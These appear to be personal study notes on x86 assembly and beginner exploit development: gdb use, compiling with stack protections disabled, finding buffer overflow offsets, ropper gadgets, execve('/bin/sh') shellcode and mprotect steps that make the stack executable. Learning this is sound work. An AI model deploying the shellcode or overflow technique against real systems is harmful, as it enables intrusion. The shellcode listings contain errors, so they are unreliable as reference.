Intro to Assembly Language and Exploit Development

Syntax

mov

  • global _start : global tells the linker that the entry point of our program is _start.
  • _start : start of program
  • mov eax,8 : moves 8 to eax
  • mov eax,ebx : moves value of ebx to eax
  • mov ecx,[esp] : moves the address of esp to ecx

add , sub, inc , dec

  • add eax,230
  • sub ebx,2
  • inc ebx - increment
  • dec eax - decrement

xor bitwise xor of each value


push,pop

push eax : pushes eax into stack pop ebx : pops value on top of stack and stores into ebx


cmp,jne

cmp is followed by jne (jump if not equal to). cmp sets value for jne.


nop No operation


Compiling and running using gdb

Assemble

nasm <filename>.nasm -f elf32 -o <out>.o

  • -f : format type
  • -o : output file

Linking

32 bit machine: ld <out>.o -o out 64 bit machine: ld -m elf_i386 -o <file> <file>.o

Examine register

gdb ./out

Compiling C programs

  • 32 bit machines: gcc <filename>.c
  • 64 bit machines: gcc -m32 <filename>.c (note that you might need to run sudo apt-get install gcc-multilib)
gcc -m32 -fno-stack-protector vulnerable.c -o vulnerable -z execstack -D_FORTIFY_SOURCE=0

-fno-stack-protector: stack canary protection disables

execstack: to allow us to execute in stack

object dump : objdump -d <file> -M intel


gdb-geff

break : set a breakpoint. eg :

  1. break _start
  2. break *0x804806a
  3. b _start

run : to run the program

si : run single instruction

c : continue

innfo breakpoints : info about breakpoints.

print $al : prints values of al register.

gdb -core <coreFile> will load the core file (kinda like crash log) onto gdb.

info registers : shows value of registers

disass <func>: disassemble that function.

vmmap : display memory map of the program


Buffer overflow

NX Non Exicutable bit.

$eip contains the next instruction to be executed.

Enter vanilla amounts. see if it overwrites

see at what amount the eip gets over written

then generate a random pattern from “https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html?m=1"

then see which value is in the eip

enter that to find the offset


ropper

  • Finding address or gadgets

  • Finds the offset of an instruction. add that to the base address of the file

file <file-to-load>

search /1/ jmp esp

  • To find a string address like /bin/sh: ropper --file <file> --string <string to find>

exit shellcode

  • exit returns a value after exiting the process and that value will be stored in the ebx register
  • xor eax with eax to remove all the null bytes
  • obj dump will return something like this:
8048060:	31 c0                	xor    eax,eax
8048062:	31 db                	xor    ebx,ebx
8048064:	b0 01                	mov    al,0x1
8048066:	b3 02                	mov    bl,0x2
8048068:	cd 80                	int    0x80
  • In this case the shellcode is obtained by writing the values 31,c0 etc etc together.

\x31\xc0\x31\xdb\xb0\x01\xb3\x02\xcd\80 is the corresponding shellcode.

  • Instead of writing that down manually, we can go for the command:
objdump -d ./file |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

execve shellcode

This will be the basic idea of the shellcode

global _start

_start:

	mov eax,SYSTEMCALL
	mov ebx, /bin/sh
	mov ecx,null
	mov edx,null
	int 0x80

To find out the SYSTEMCALL:

  • locate unistd_32.h
  • cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep 'execve'
  • output will be
#define __NR_execve 11
#define __NR_execveat 358

here, 11 is the required SYSTEMCALL

  • next, ebx should contain /bin/sh/ in reverse since it is to be pushed onto the stack.
  • convert to hex in reverse order (online tools)
  • the code will look like this now:
global _start

_start:

        xor eax,eax
        mov eax, edx
        mov al, 11
        push edx
        push 0x68732f6e
        push 0x69622f2f
        int 0x80
  • now, ebx should contain the value /bin/sh. since we already pushed that value to the stack and esp points to it, move esp to ebx.
  • set ecx to null
  • set edx to null
  • The final code is:
global _start

_start:

        xor eax,eax
        mov eax, edx
        mov al, 11
        push edx
        push 0x68732f6e
        push 0x69622f2f
        mov ebx, esp
        mov ecx, edx
        int 0x80

Return Oriented Programming

mprotect: set protection on a region of memory. To turn the stack into executable

  • 3 arguements. they should be kept in the following regiesters respectively
  1. address - ebx
  2. len of memory where we want to change protection - ecx
  3. protection (prot) value (PROT_NONE, PROT_READ,PROT_WRITE,PROT_EXEC) - edx

Steps:

  1. Inside gdb, type vmmap to find make sure that the stack is not executable.
  2. disass mprotect
  3. copy the address of mprotect and set a breakpoint there.
  4. we have to redirect the program flow through this, so set the value of $eip to this address.
  5. si till the function call
  6. update the values of registers eax,ebx,ecx,edx.
  7. set $ebx=<base address of stack>
  8. set $ecx=0x01010101
  9. set $edx=7 (bitwise result of the three prot values mentioned above)
  10. si and check vmmap. The stack should become executable.

This is the working of the exploit